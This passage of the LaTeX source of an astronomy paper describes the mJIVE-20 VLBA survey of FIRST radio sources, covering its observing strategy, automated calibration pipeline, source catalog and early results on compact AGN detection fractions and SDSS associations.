short or intermittent, they can deposit sufficient energy in their
host galaxy's interstellar medium to suppress star formation \citep{croton06a, di-matteo05a}, but they can also
compress the interstellar gas via mechanical interactions and trigger
star formation \citep{klamer04a,gaibler12a}. However, identifying AGN is difficult, even with the most
comprehensive data sets. Nuclear activity can be shielded from our
view at any wavelength except towards the radio; spectroscopic methods
are observationally too expensive to be used on large scales with
hundreds or thousands of objects; and even radio surveys do not
normally provide sufficient information (spectroscopic or
morphological) to reliably identify AGN.
Unlike the aforementioned methods, radio observations using the Very
Long Baseline Interferometry (VLBI) technique have the ability to
make unambiguous AGN identifications. The high resolution requires brightness
temperatures of order $10^6$\,K for a detection to be made, and this
can only be reached in non-thermal sources. VLBI observations can
therefore play an important role in AGN identification.
Bright VLBI sources with $S>100\,{\rm mJy}$ are so rare that
essentially all have been identified in VLBI calibrator searches
(e.g., the VCS campaigns; see \citealt{petrov08b} and references therein), and
significant numbers of faint sources at $S<1\,{\rm mJy}$ are beginning
to be detected by current wide-field VLBI observations of well-studied
extragalactic fields \citep{middelberg11a,middelberg13a}.
However, the population of ``in--between" sources with flux densities of
1 mJy to 100 mJy have been comparatively ignored, primarily due to the observational difficulties.
Surveys with hundreds of detections have lacked morphological and accurate flux density information \citep{porcas04a,
bourda10a}, whilst true imaging surveys have been restricted to much smaller samples \citep{garrington99a, garrett05a, wrobel05a, lenc08a}.
A large, comprehensive, and unbiased imaging survey of mJy sources is
needed to bridge the gap between the wide/shallow and narrow/deep surveys, yielding input for
studies of galaxy evolution in the local ($z<1$) universe.
Our project, the mJy Imaging VLBA Exploration at 20 cm (mJIVE--20),
aims to characterize the compact radio source population
with flux densities between 1\,mJy and 100\,mJy by making high--resolution images of
radio sources detected across 200+\,deg$^2$ in the Faint Images of the Radio Sky at
Twenty centimetres (FIRST) survey \citep{becker95a}. Its overlap with the {\it Sloan}
Digital Sky Survey \citep[SDSS;][]{york00a} ensures availability of photometry and in some cases
spectra, aiding interpretation of the data significantly.
By combining the data from this project with information on bright
sources from the VLBA calibrator surveys and information on faint
sources from deep field VLBI observations such as those of
\citet{middelberg13a}, we will also be able to construct the
differential source counts of radio-active radio sources over more
than 4 orders of magnitude in flux density, to study the evolution of
the AGN population with redshift and luminosity.
Another application of this dataset is the identification of
radio sources which are suitable to be used as in-beam or
nearby out--of--beam calibrators for other studies.
The phase coherence of VLBI observations is typically
limited by the separation between calibrator and target, so it is
desirable to have a calibrator as close as possible to the target.
In particular, a dense grid of compact radio sources is increasingly
necessary for large astrometric campaigns, especially at lower
frequencies \citep[e.g.][]{chatterjee09a,deller11b}. The mJIVE--20\ catalogue
will greatly enhance the number of available calibrators
across the studied area, to the benefit of other VLBI observations made in
the surveyed region.
Finally, a large catalog of compact sources may prove useful as a starting point for searches for other exotic systems. For example, multi--component systems could be inspected to search for binary AGN \citep[e.g.,][]{tingay11a,burke-spolaor11b}, which would be expected to present two compact cores with flat or inverted spectra. Similarly, candidate gravitational lens systems could be identified from widely separated VLBI components with identical spectra which are offset from a bright elliptical galaxy.
We describe the mJIVE--20\ survey in Section~\ref{sec:surveydesc} and the
current source catalog in Section~\ref{sec:catalog}. We detail some
preliminary results extracted from the catalog data products in
Section~\ref{sec:results}, and present our conclusions in
Section~\ref{sec:conclusions}.
\section{Survey description}
\label{sec:surveydesc}
\subsection{Observations and scheduling}
The mJIVE--20\ survey was approved with an initial allocation of 200 hours of observing time at the filler level priority (VLBA project code BD161), and has now been extended to a total of 600 hours (VLBA project code BD170). In order to take advantage of VLBA filler time, it is necessary that the observations be relatively short, impose a limited burden on the recording media pool, and be tolerant to both bad weather and missing antennas. The observing frequency was chosen to be 1.4 GHz to match the FIRST survey, and at this frequency weather conditions are unimportant. Observations of 1 hour are sufficiently long to provide adequate $uv$\ coverage for source detections, although the ability to reliably reconstruct the structure of complicated sources is considerably reduced. This disadvantage is particularly pronounced when several VLBA antennas are missing from the observation. As the main purpose of this survey is the measurement of the peak flux density and approximate source size, however, this compromise is acceptable.
A standard VLBA continuum observing setup (64 MHz of bandwidth in dual polarization, giving a total data rate of 512 Mbps) is used for these observations. At this data rate, matching the point source sensitivity of the FIRST survey with the VLBA requires 15 minutes of on--source time. Accordingly, 4 fields can be surveyed in each one hour observation. To optimize the $uv$ coverage, pointings are observed in a round--robin fashion, spending 2 minutes on each pointing and repeating the entire loop 7 times. In order to obtain a roughly uniform sensitivity over as wide an area as possible, the pointing centers are laid out with partial overlap, as shown in Figure~\ref{fig:pointings}. In actuality, as the sensitivity at the edge of the field is considerably reduced, not every FIRST source would be detectable even if completely compact. Figure~\ref{fig:fieldsensitivities} shows a histogram of the detection sensitivity over all fields observed by mJIVE--20\ to date -- the median detection sensitivity (with a detection threshold of 6.75$\sigma$, as described in detail in Section~\ref{sec:sourceid}) is 1.2 mJy.
\begin{figure}
\begin{center}
\includegraphics[width=0.85\textwidth]{sensitivity_histogram.ps}
\caption{A cumulative histogram of the detection sensitivity over all mJIVE--20\ fields observed to date. The median detection sensitivity is 1.2 mJy, but a small fraction of fields (which have been observed multiple times) can detect a compact source of peak flux density as low as 0.4 mJy.}
\label{fig:fieldsensitivities}
\end{center}
\end{figure}
Directly imaging the entire $\sim$200 square degrees observed by mJIVE--20\ is barely feasible and certainly wasteful -- given the pixel size of 1 milliarcsecond demanded by the survey's angular resolution ($\sim$5 milliarcseconds), of order $\sim$10$^{15}$ pixels would be produced, along with hundreds of terabytes of intermediate data products. Instead, the multi--field capability of the VLBA--DiFX software correlator \citep{deller07a,deller11a} is utilized to place phase centers at the location of all FIRST sources within 20\arcmin\ of the beam center (the 45\% point of the beam at the center bandwidth) for each pointing. Since the FIRST positions are accurate at the arcsecond or sub--arcsecond level, these data products can then be heavily averaged, leading to a relatively low visibility data volume.
\begin{figure}
\begin{center}
\includegraphics[width=0.85\textwidth]{J1150+2417.searchpointings.ps}
\caption{An example of the pointing pattern layout for mJIVE--20, showing the fields around J1150+2417.
The position of the calibrator source J1150+2417 is shown with an asterisk, and the 50\%
point of the primary beam response is shown with dashed lines. FIRST sources which are targeted
with phase centers are shown as grey circles, with a radius proportional to the logarithm of their
FIRST peak flux density.}
\label{fig:pointings}
\end{center}
\end{figure}
The multifield correlation uses an initial spectral resolution of 4 kHz, which is subsequently averaged (after the formation of the multiple phase centers) to 1 MHz. The formation of the multiple phase centers takes place at a cadence of 100 Hz or faster, and the visibilities are then averaged to a time resolution of 3.2 seconds. The reduction in image sensitivity (due to time smearing, bandwidth smearing and delay beam effects; see \citealt{morgan11a}) imposed by the multifield processing for a source at the edge of a given pointing is 20\%; considerable, but not significant compared to the primary beam amplitude attenuation of 55\%. The amplitudes of the visibilities produced by DiFX are corrected for this decorrelation. Some early mJIVE--20\ observations used an 8 kHz initial spectral resolution and placed phase centers on sources within a 17\arcmin\ radius, and thus targeted fewer sources whilst suffering somewhat greater decorrelation for sources at the edge of the pointing. After determining that the higher resolution did not place an undue burden on the correlator resources, this was expanded to the current setting. The unprocessed visibility dataset size per source per pointing is 16 MB -- with an average of 35 FIRST sources per pointing, the total unprocessed visibility volume per 1 hour observation is approximately 2GB. Using this multifield approach, all of the FIRST sources within an area of approximately 1 square degree (of order 100 sources) can be surveyed in one hour.
Since the total extent of the FIRST survey exceeds 10,000 square degrees \citep{becker95a}, completely surveying the FIRST coverage with the VLBA is impractical at the current data rates. Accordingly, when designing the survey we were free to select the subset of fields for which calibration will be simplest. The most convenient calibration situation is when a calibrator is continuously available in the primary beam of all antennas. This can be easily accomplished by centering the four fields shown in Figure~\ref{fig:pointings} on the chosen calibrator. Calibrators were taken from the \verb+rfc_2012b+ catalog available at \verb+http://astrogeo.org/rfc/+, which makes use of a large number of historical VLBI calibrator surveys. Since there are $\sim$1200 known VLBI calibrators in the area covered by FIRST, it is possible to cover a significant fraction of the FIRST area whilst continuously keeping a calibrator within the antenna primary beam. This is the approach which has been taken by mJIVE--20. Almost no calibrators have readily available 1.4 GHz information, as the calibrator search observations are typically carried out in dual frequency 2.3/8.4 GHz mode, and so suitable calibrators are selected on the basis of spectral index, brightness and apparent compactness from higher frequency observations. Even when applying strict criteria to ensure that over 100 mJy of compact flux should be available at 1.4 GHz, over 200 calibrators remain. At the current time, this supply of ``prime" calibrators has not yet been exhausted. As mJIVE--20\ observations continue, however, eventually all of these calibrators will be observed. At that time, the strict calibrator criteria could be relaxed at the cost of small additional calibration overheads, and/or new bright sources identified in mJIVE--20\ could be used as calibrators around which target fields can be placed.
Most mJIVE--20\ fields have been observed only once to date. This means that, depending on the number of antennas in the observation, a number of faint FIRST sources near the edge of the pointing grid (where the sensitivity is lower due to primary beam attenuation) may not be detectable even if completely compact. When determining detection fractions (Section~\ref{sec:results}), the attained image rms and hence detectability of a source in each field is taken into account. In general, more sources will be detected by observing a new field than by reobserving a prior field, which has driven our field selection to date. However, re--observing fields allows a reliable estimation of the false positive ratio and missed source ratio at varying levels of detection significance, and so we have observed a number of fields a second time. As the survey progresses, we will monitor the source statistics at varying flux levels and envisage eventually repeating many fields in order to probe the faintest FIRST sources (flux density $\sim$1 mJy) more deeply.
\subsection{The calibration and imaging pipeline}
\label{sec:pipeline}
The calibration and imaging pipeline for mJIVE--20\ is a fully automated Parseltongue script \citep{kettenis06a}. ParselTongue provides a python--based interface to classic AIPS\footnote{http://www.aips.nrao.edu/}, including calibration tables and the visibility data directly. Many aspects of this script were taken from previous projects which searched large numbers of sources to identify compact inbeam calibrators for astrometric projects \citep[e.g.][]{deller11b}, but for completeness the entire pipeline is described below.
In multifield mode, the DiFX correlator produces independent FITS-IDI files containing the different phase centers. The first FITS-IDI file contains the first phase center listed for each pointing center, the second FITS-IDI files contains the second listed phase center, and so on. The following steps are undertaken in the pipeline:
\begin{enumerate}
\item The visibility datasets are loaded into AIPS and sorted into time order.
\item Additional flags are applied based on any user--provided information and on antenna elevation (data with an elevation less than 20\degr\ is flagged).
\item Ionospheric corrections are applied using the task TECOR.
\item Corrections are applied to update for the latest Earth Orientation Parameters (compared to those used at the correlator) using the task CLCOR.
\item Basic amplitude calibration is applied using the tasks ACCOR and APCAL; in each case, outliers in the derived amplitude corrections are clipped using the task SNSMO.
\item Amplitude corrections are applied for primary beam effects, using a ParselTongue script and a simple model of the VLBA beam (using a Bessel approximation to approximate the response of a uniformly illuminated 25 dish, and including the offsetting effects of the VLBA beam squint) to generate a calibration table directly. A similar approach has been previously used by \citet{middelberg13a}. Figure~\ref{fig:beamcorrection} shows an illustration of the effect of primary beam correction for one mJIVE--20\ source.
\item Delay calibration is derived from the calibrator source using the AIPS task FRING and a 2 minute solution interval. Polarizations and subbands are not averaged. If available, a model of the source is used, otherwise a point source model is assumed. Automated clipping of the solutions is applied with the task SNSMO.
\item Phase--only self--calibration is derived using a 30 second solution interval, coherently averaging all subbands and polarizations, using the task CALIB. A shorter solution interval can be used than in the preceding delay calibration step since more bandwidth is being combined, allowing short timescale atmospheric errors to be corrected.
\item Each source is split, applying all calibration. The split datasets for sources which appear in multiple fields are concatenated using the task DBCON, ultimately leaving a single UV dataset per FIRST source.
\item The mJIVE--20\ catalog is examined to determine if there are any bright VLBI sources near the current source which could potentially contribute confusing flux on some baselines. If so, a ParselTongue script is run to flag baselines when the predicted decorrelation of the potential confusing source due to time and bandwidth smearing is insufficient to guarantee that there will be no artifacts generated in the image. This confusion--flagging script is described in more detail in Section~\ref{sec:sourceid}.
\item For each target source, a wide--field image is generated using the task IMAGR with natural weighting. The image size is 4096x4096 pixels, with a pixel size of 1 milliarcsecond, sufficient given the FIRST astrometric accuracy of 1\arcsec\ (at the flux limit, with 90\% confidence). The peak pixel within the inner 90\% of the image is identified, and the peak value and image rms are recorded. For sources which are ultimately found to be non--detections, this peak pixel value from the widefield image is used as the upper limit for the mJIVE--20\ flux density.
\item The dataset is re--centered on the position of the peak pixel using the task UVFIX. It is then averaged in frequency to a single spectral channel per subband (i.e., resolution 16 MHz) and in time to 20 seconds.
\item The predicted image rms is computed based on the sum of the visibility weights (described in more detail below).
\item The re--centered dataset is imaged using IMAGR, with a smaller size (1024x1024 pixels, pixel size 0.75 milliarcseconds). As before, natural weighting is used. A circular clean window is placed around the central pixel with a radius of 25 pixels, and the data is cleaned until a limiting rms of 0.2 mJy or 1000 clean components is reached.
\item Source detection and extraction is performed using the \verb+blobcat+ package \citep{hales12a}, with a detection threshold $T_d = 6.5$ and a flood threshold $T_f=5.0$ (see \citealp{hales12a} for an explanation of these quantities). If blobcat detects one or more sources and the peak signal--to--noise ratio exceeds 6.75$\sigma$, then the peak flux, integrated flux over all components and the error in these quantities are all recorded for the mJIVE--20\ catalog, otherwise the image peak residual and rms is recorded.
\item If the observed image rms is more than 1.33 times the predicted image rms, the pipeline is repeated from step 10 using a larger initial image (8192x8192 pixels). This can catch cases where the noise is raised due to sidelobes from a VLBI source between 2 and 4 arcseconds from the FIRST position, which can occur rarely when the FIRST source is resolved and the compact component is not coincident with the peak of the low--resolution emission.
\end{enumerate}
The calculation of expected image rms based on visibility weights is possible because weights in AIPS are nominally in units of 1/Jy$^{2}$. The expected image rms in Jy when using natural weighting ($\sigma_{\mathrm{image}}$) is therefore simply the square root of the inverse of the summed weights $w_{ij}$:
\begin{equation}
\sigma_{\mathrm{image}} = \frac{1}{\sqrt{\sum{w_{ij}}}}
\end{equation}
However, for VLBA data a correction factor is necessary, because the weights provided in the FITS file output of the VLBA correlator are initially completeness values (in the range 0.0 to 1.0) rather than true 1/Jy$^{2}$ values. Accordingly, the weight sum needs to be corrected by the product of the original integration time (in seconds; equal to 3.2 for mJIVE--20) and spectral resolution (in Hz; equal to 10$^6$ for mJIVE--20). AIPS corrects the weights for time and frequency averaging performed in after loading the data, which is why the necessary correction factor is defined by the original integration time and spectral resolution, not the final values. The weights are extracted and summed using a ParselTongue script which traverses all of the visibilities in the dataset. We find that for fields without a complex, confusing source (i.e., non--detections or point--like sources) the agreement between the predicted and observed image rms is very good; the mean value of the ratio is 1.02 and the standard deviation is 0.1.
At each stage where calibration is derived and applied, plots of the calibration solutions are generated with the task LWPLA. These plots can be inspected after the pipeline completes and if necessary new flagging information can be provided and the pipeline rerun. This step is necessary on less than 10\% of observations. A complete pipeline run takes of order 30 minutes on a reasonably modern, low--end desktop machine (Intel Core2 Duo, 3.0 GHz, 2 GB RAM).
The averaging of the dataset to 16 MHz in frequency and 20 seconds in time reduces the data volume to around 300 kB per field per pointing, small enough to allow us to make all of the $uv$\ data available online at the mJIVE--20\ site (\verb+http://safe.nrao.edu/vlba/mjivs/products.html+). Time and bandwidth smearing mean that only a relatively small image can be made free of artifacts (around 1 square arcsecond), but since the dataset has already been centered on the peak pixel from the widefield map this is not an issue for the vast majority of sources. Higher resolution datasets can be generated as needed to image sources with significant structure over larger separations.
\begin{figure}
\begin{center}
\begin{tabular}{cc}
\includegraphics[width=0.45\textwidth]{MJV04323.pointings.ps} &
\includegraphics*[width=0.375\textwidth]{MJV04323.clean.ps} \\
\includegraphics*[width=0.45\textwidth]{nopb_ovpt_amplitudes.ps} &
\includegraphics*[width=0.45\textwidth]{withpb_ovpt_amplitudes.ps}
\end{tabular}
\caption{\scriptsize{An example of primary beam correction for the source MJV04323. The top left plot shows the position of MJV04323 in the pointing layout -- it is covered by two pointings, but is considerably nearer to the center of one pointing than the other. The top right plot shows an image of the source made using all of the data after primary beam correction -- the peak flux is 37.2 mJy/beam and the noise is 0.20 mJy/beam. Contours are drawn at 2, 4, 8, 16, 32 and 64\% of the peak flux density. The bottom left panel shows the visibility amplitude on a subset of baselines before correction for primary beam effects. Each grouping of visibility points is one scan, and the differing effects of primary beam attenuation on the alternating scans is clear, with the visibility amplitude being modulated by almost a factor of 2. The bottom right panel shows the same set of visibility amplitudes after correction of primary beam effects - the improvement is obvious. Imaging only the scans from the first pointing (where the source is closer to the pointing center) yields an image peak of 39.7 mJy/beam and a noise of 0.40 mJy/beam, while imaging only the scans from the second pointing yields a peak of 35.5 mJy/beam with rms 0.22 mJy/beam. The difference in $uv$ sampling between the two pointings is likely partly responsible, but we conservatively estimate that the errors on the primary beam correction are on the order of 10\%.}}
\label{fig:beamcorrection}
\end{center}
\end{figure}
\subsection{Source identification, parameter fitting, and completeness}
\label{sec:sourceid}
As noted above, the primary pipeline uses blobcat to model potential sources, and we impose a signal--to--noise threshold at 6.75$\sigma$. If no pixels in the image exceed 6.75$\sigma$, it is considered a non--detection. Since complex, resolved sources generally show a higher level of background noise, this threshold discriminates somewhat against complex sources, a bias which is partially addressed below. At the time of publication, over 90 fields had been observed more than once, allowing us the opportunity to evaluate our detection threshold by identifying false positives (which appear in a single epoch but not in the combined data from multiple observations) and near misses (which are clearly detected in combined data and are seen at the same position in a single observation but with a signal--to--noise ratio just below the cutoff threshold). Highly variable sources (see Section~\ref{sec:variable} below) might be responsible for a small fraction of ``false positives" but at such a low level as to not bias the results significantly. We find that at a threshold of 6.75$\sigma$, a maximum of 0.3\% of all mJIVE--20\ targets (1.6\% of all detections) are false positives. Lowering the threshold to 6.5$\sigma$ would increase the number of mJIVE--20\ detections by 1.25\%. However, of every 5 new ``detections" in the range 6.5 -- 6.75$\sigma$, only 2 would be real sources, and the other 3 would be spurious. Raising the threshold to 7$\sigma$ would reject at least 4 real mJIVE--20\ sources for every spurious mJIVE--20\ detection that is rejected, assuming the effects of source variability over short timescales to be negligible. Accordingly, we set the detection threshold to 6.75$\sigma$.
Complex, resolved sources are difficult to identify in any automated pipeline. This is particularly true for short VLBI observations, where the sampling of the $uv$\ plane is exceedingly sparse. One simple method of doing so is to compare the noise in the image with expectations. As noted above, a predicted image rms is produced for each source, based on the sum of the visibility weights. Fields where the peak pixel considerably exceeds that expected from the expected image sensitivity can thereby be noted as probable complicated sources. We have applied this procedure, noting fields where the peak pixel exceeds the expected image rms by a factor of 12 or more. These sources (of which there are a relatively small number, less than 0.2\% of all targets) are then inspected by hand and rejected if spurious. Non--spurious sources are entered into the catalog with the observed peak flux density values, and a special ``COMPLEX" flag in the catalog is set (see Section~\ref{sec:catalog} below).
Due to the high resolution and fringe rate typical of VLBI observations, sidelobe rejection is a much simpler problem than for observations with shorter--baseline instruments. Time and bandwidth smearing will remove confusing sources in all areas except for their immediate vicinity, and the density of sources bright enough to be problematic is extremely low. However, this time and bandwidth smearing makes it extremely difficult to accurately subtract these rare bright sources, and so as described in Section~\ref{sec:pipeline}, baselines are flagged when there is a {\em possibility} that a confusing source could contribute image artifacts in a target field. The decision to flag is based on a worst case estimate which uses the envelope of the decorrelation function. Such a worst--case approach is necessary because source subtraction is not feasible, since the exact decorrelation due to time and bandwidth smearing is difficult to calculate based on the information available in the FITS file. The confusing--source flagging pipeline selects all sources within 90\arcsec\ of the current target which have an integrated VLBI flux in excess of 50 mJy, as well as all sources within 300\arcsec\ with an integrated flux exceeding 1 Jy. The time and bandwidth smearing are estimated based on the delay and rate as calculated from the baseline $w$ term. Flags are written covering 10 minute timeranges if the maximum remaining correlated flux from the confusing source on the baseline exceeds 50 mJy (in most cases, however, the correlated flux will be much less, due to the worst--case assumptions used). Approximately 2\% of all visibilities are flagged due to potential confusing sources, although the effects are dominated by a few equatorial fields with particularly bright calibrator sources.
\section{The mJIVE--20\ catalog}
\label{sec:catalog}
The version of the mJIVE--20\ catalog current at the time of publication, including data from 364 hours of VLBA observations made on or before MJD 56565 (2013 September 30) and covering 21,396 FIRST sources, is shown in Table~\ref{tab:catalog}. The mJIVE--20\ catalog is updated regularly, and the latest machine-readable version is available for download at \verb+http://safe.nrao.edu/vlba/mjivs/catalog.html+.
Column 1 gives the mJIVE--20\ source identifier name. Columns 2 and 3 give the right ascension and declination obtained from the FIRST catalog. Columns 4 and 5 give the FIRST peak and integrated flux density respectively in mJy/beam and mJy. Columns 6, 7 and 8 give the VLBI synthesized beam major axis (mas), minor axis (mas) and position angle (\degr) respectively. Column 9 gives the VLBI peak flux density (or limit) in mJy/beam. Additional columns not shown in Table~\ref{tab:catalog} but available online are filled only for VLBI detections. Column 10 gives the error on the VLBI peak flux density in mJy/beam, and columns 11, 12, 13 and 14 give the VLBI right ascension, error in right ascension, declination and error in declination respectively. Column 15 gives the ratio of VLBI peak flux density to FIRST peak flux density. Columns 16 and 17 give the integrated flux density in Jy from blobcat and its error. Column 18 gives the ratio of VLBI integrated flux density to FIRST peak flux density. Columns 19 and 20 give the deconvolved major axis of the single gaussian component fit and its error (max), columns 21 and 22 give the deconvolved minor axis and its error (mas), and columns 23 and 24 give the deconvolved position angle and error (degrees). Column 25 contains the "COMPLEX" flag, denoting a source for which the signal--to--noise ratio of the single gaussian fit was less than the cutoff value of 6.75, but for which the peak image pixel exceeded a threshold set based on expected image noise, triggering a manual inspection of the data which verified this source to be real.
\begin{deluxetable}{cccccccccccccccccccccccccccccc}
\setlength{\tabcolsep}{0.02in}
\tabletypesize{\tiny}
\tablecaption{Excerpt from the mJIVE--20\ catalog}
\tablewidth{0pt}
\tablehead{
\colhead{mJIVE--20} & \colhead{Right asc.} & \colhead{Decl.} & \colhead{Peak flux density} & \colhead{Int. flux density} & \colhead{mJIVE--20\ beam} & \colhead{mJIVE--20\ beam} & \colhead{mJIVE--20\ beam} & \colhead{Peak flux density} \\
\colhead{Identifier} & \colhead{(FIRST)} & \colhead{(FIRST)} & \colhead{(mJy/beam, FIRST)} & \colhead{(mJy, FIRST)} & \colhead{major axis (mas)} & \colhead{minor axis (mas)} & \colhead{pos. angle (\degr)} & \colhead{(mJy/beam, mJIVE--20)}
}
\startdata
\input{catalog-example.tex}
\enddata
\tablecomments{
The full (machine-readable) table is available in the online version of this publication. In the print edition, only the first 20 entries with the first 9 columns are shown. In the full table, additional columns are available for sources detected in the VLBI observations, including position, integrated flux density, approximate deconvolved size, and the ratio of VLBI--scale flux density to FIRST flux density.
}
\label{tab:catalog}
\end{deluxetable}
\subsection{Browsable catalog}
In addition to the machine--readable table version of the catalog (Table~\ref{tab:catalog}), a html version of the catalog is available at \verb+http://safe.nrao.edu/vlba/mjivs/products.html+. The html version of the catalog includes links to additional information for each of the VLBI detections, including contour plots in jpg format and calibrated uv data.
\section{Preliminary results}
\label{sec:results}
\subsection{Detection fractions}
\label{sec:detectionfractions}
In total, 4,336 FIRST sources have been detected by mJIVE--20\ at the time of publication, a number which will continue to grow as observations are added. 21,396 FIRST sources have been imaged at milliarcsecond resolution (excluding the VLBI calibrator sources to avoid the obvious selection bias; however, images for these sources are also available). This represents a sample around two orders of magnitude larger than previous unbiased VLBI surveys, both imaging \citep[e.g.,][35 detections]{garrington99a} and non--imaging \citep[][85 detections from their preliminary pointing--centre sample]{porcas04a}. Comparing results with these previous surveys is possible by extracting appropriate subsamples from the mJIVE--20\ survey. \citet{garrington99a} targeted only FIRST sources with peak flux density $>$10 mJy and largest angular scale $<$5\arcsec, and obtained a 35\% detection fraction with typical detection sensitivity of 1--2 mJy. By selecting all mJIVE--20\ sources with peak FIRST flux $>$10 mJy and a predicted detection threshold between 1 and 2 mJy, we obtain a subsample of 1283 sources and a detection fraction of 36\%, consistent with \citet{garrington99a}. \citet{porcas04a} made no pre--selection based on FIRST parameters and had a typical detection sensitivity of 1.1 mJy, with a preliminary analysis yielding a detection fraction of 33\%. By selecting all mJIVE--20\ sources where our predicted detection threshold was between 1.05 and 1.15 mJy, we obtain a subsample of 1466 sources and a detection fraction of 23\%, somewhat lower than \citep{porcas04a}. This discrepancy is significant (binomial statistics give an error of around 3\% on the \citealt{porcas04a} detection fraction) but the cause is not obvious. However, the analysis of \citet{porcas04a} is described as ``preliminary", and so one potential explanation is false positives due to noise or confusion, which are difficult to identify in a single--baseline non--imaging observation.
In order to investigate possible evolution of the compact fraction of arcsecond scale sources with decreasing flux density, we have binned our results by FIRST peak flux density and by the ratio of VLBI peak flux density to FIRST peak flux density (hereafter the ``compactness ratio"). Peak mJIVE--20\ flux density was used in preference to integrated flux density because the errors are typically considerably smaller for the former. The $uv$ coverage and hence beam size and shape can vary between mJIVE--20\ epochs, which affects the measured peak flux density, but a similar effect would also be present in the integrated flux density measurement. In calculating the detection fraction for each bin, we first exclude all sources where there is a possibility that the source fulfils the bin criteria but would be missed in mJIVE--20\ due to insufficient sensitivity. Specifically, we loop over all sources with FIRST peak flux densities in the correct range, but exclude any where the FIRST peak flux density multiplied by the minimum compactness ratio for the bin falls below the predicted detection threshold (equal to the predicted image rms obtained from the pipeline multiplied by our minimum detection threshold of 6.75). The remaining sample which passes all tests is the valid sample for that bin. The number of detections from the valid sample is calculated and divided by the size of the valid sample for the bin to obtain the detection fraction for that bin.
Theoretically, this approach excludes all fields where there is a chance that a valid source could go undetected. In practice, several effects may alter the detectability of a source in any individual field very near the threshold, such as the scatter between predicted and actual image rms and source variability. However, since both of these effects introduce a relatively low degree of scatter and are essentially zero--mean, and furthermore there are no drastic changes seen between bins, we neglect them in the following analysis.
The binned cumulative detection fractions, and their error bars, are presented in Table~\ref{tab:detections}.
The lower left quadrant of Table~\ref{tab:detections} is unsampled, because it corresponds to faint FIRST sources with only a small component of the flux remaining compact, and these sources would fall below our detection limits. The detection fractions are also shown in a stacked column format in Figure~\ref{fig:detections}. In Figure~\ref{fig:detections}, bins with fewer than 50 target fields meeting the criteria are not shown, to avoid confusing the plot with results with large errors.
Figure~\ref{fig:detections} and Table~\ref{tab:detections} reveal a trend towards an increased likelihood of a compact component for sources with a lower arcsecond--scale radio flux density. The difference is statistically significant across the range of compact fractions for which we have adequate data, and is insensitive to changes in number of FIRST flux density bins used. At both very low and very high compact fractions, an insufficient number of sources are available; at low compact fractions this is due to an inability to probe the faint end of the flux density distribution, while at high compact fractions the intrinsic detection rate is low. Accordingly, we focus on the bin for compact fractions $>$0.32, which has the highest total number of mJIVE--20\ detections (and the most even distribution across the whole range of arcsecond--scale flux densities). Similar results are seen for compactness ratios $>$0.64 and $>$0.16. A simple weighted linear regression to the data presented in Table~\ref{tab:detections} shows that our results are inconsistent with no evolution of compactness with arcsecond--scale flux density. The reduced $\chi^2$ of a model in which compactness was independent of arcsecond--scale radio flux (hereafter the ``reference" model) was 8.8, whereas for the weighted linear regression fit, the reduced $\chi^2$ was 2.2. The best linear fit was obtained when detection fraction increased by 0.025 with each halving of arcsecond--scale flux density. The relatively poor fit can be attributed to the fact that a simple linear model covering the entire mJIVE--20\ sample is likely inadequate -- this is explored further in Section~\ref{sec:sdssassoc}.
Across the range of fluxes sampled by mJIVE--20, the source population is expected to be dominated by radio loud AGN, as the well--known shoulder seen in radio source counts does not appear until flux densities $\lesssim$1 mJy \citep[e.g.,][]{hopkins03a,norris11a}. Thus, an evolution in the compactness of the mJIVE--20\ sources was not necessarily an expected result. Previously, an anti--correlation between total flux density and VLBI compactness has been noted in observations at higher frequencies \citep{lawrence85a} when studying bright ($\gtrsim$1 Jy) sources, but this falls well outside the mJIVE--20\ flux range.
A possible explanation for the anti--correlation between arcsecond--scale flux density and VLBI compactness lies in the kinematics of the AGN radio jet. \citet{mullin08a} show a significant anti--correlation between luminosity and core prominence for broad line radio galaxies and narrow line radio galaxies, which they attribute to Doppler boosting. Since higher luminosity sources have on average a higher jet bulk Lorentz factor $\Gamma$, and the solid angle within which Doppler boosting occurs (where the Doppler factor $\delta > 1$) becomes smaller as $\Gamma$ increases, a higher luminosity source is less likely to be Doppler boosted and more likely to be suppressed when seen from an arbitrary viewing angle. Conversely, lower--power radio sources, with slower jets, are less likely to be Doppler suppressed and hence a greater fraction of the arcsecond--scale radio flux is likely to come from a compact core. Since the Doppler boosting depends sensitively on the viewing angle, significant differences could be expected depending on the source classification. This is investigated in Section~\ref{sec:sdssassoc}.
Many other effects could also influence the number of observed sources with a given compact fraction at a given flux density to a greater or lesser degree. For instance, $\delta$ affects the total apparent radio luminosity and hence the observable volume for a flux--density--limited sample, so while sources with large $\delta$ (and hence typically a high compact fraction) are less common in a given volume, they are also observable out to larger distances. The relative contribution of extended radio lobe emission to the total source flux density may also change as a function of flux density. A detailed analysis synthesizing the impact of all possible factors is beyond the scope of this paper. In a future paper, we will perform a more sophisticated analysis of the distribution of compact fractions, and will combine the mJIVE--20\ results after a further expansion of the sample size with sub--mJy sources from deep fields \citep[e.g.,][]{middelberg13a} and brighter VLBI sources identified from calibrator surveys \citep[e.g.,][]{beasley02a} to investigate the properties of the compact radio source population across 5 orders of magnitude in flux density.
\input{detection-table.tex}
\input{detection-figure.tex}
\subsection{SDSS associations}
\label{sec:sdssassoc}
One of the powerful aspects of the FIRST survey is its overlap with SDSS, allowing identification of optical counterparts to many of the VLBI detections (and non--detections). We have separated the mJIVE--20\ sample into detections and non--detections to investigate their optical characteristics. For this purpose, we made use of the classification assigned to the original FIRST objects (which were made using the nearest source within a maximum radius of 8 arcseconds in the DR9 data release; \citealp{ahn12a}). This has the disadvantage of not taking into account the better positional accuracy obtained from the VLBI detections for detected sources, but allows for a more uniform treatment of non--detections. Of the 21,396 sources targeted by mJIVE--20\ to date, 40\% are classified as galaxies on the basis of SDSS information (8,493 sources, 1,788 detections), 15\% are classified as stellar/point--like (3,165 sources, 960 detections), and 45\% are unclassified (9,738 sources, 1,558 detections). In light of the mJIVE--20\ detections, the SDSS classification of ``stellar" is obviously incorrect for virtually all of these sources -- they are distant, compact AGN sources. However, to maintain consistency with the classification used in the FIRST catalog, we will continue to refer to this source class as stellar/point--like.
When the mJIVE--20\ sample is separated by SDSS classification as described above, a clear trend emerges, as shown in Figure~\ref{fig:sdssdetections}. Stellar/point--like SDSS sources are considerably more likely to be detected as VLBI sources than either galaxies or sources which are have no SDSS counterpart. For example, as before considering sources with a compactness fraction $>$0.32, a stellar/point--like SDSS source has a detection probability of around 35 -- 40\%, compared with 10 -- 30\% for other sources (galaxies or unclassified).
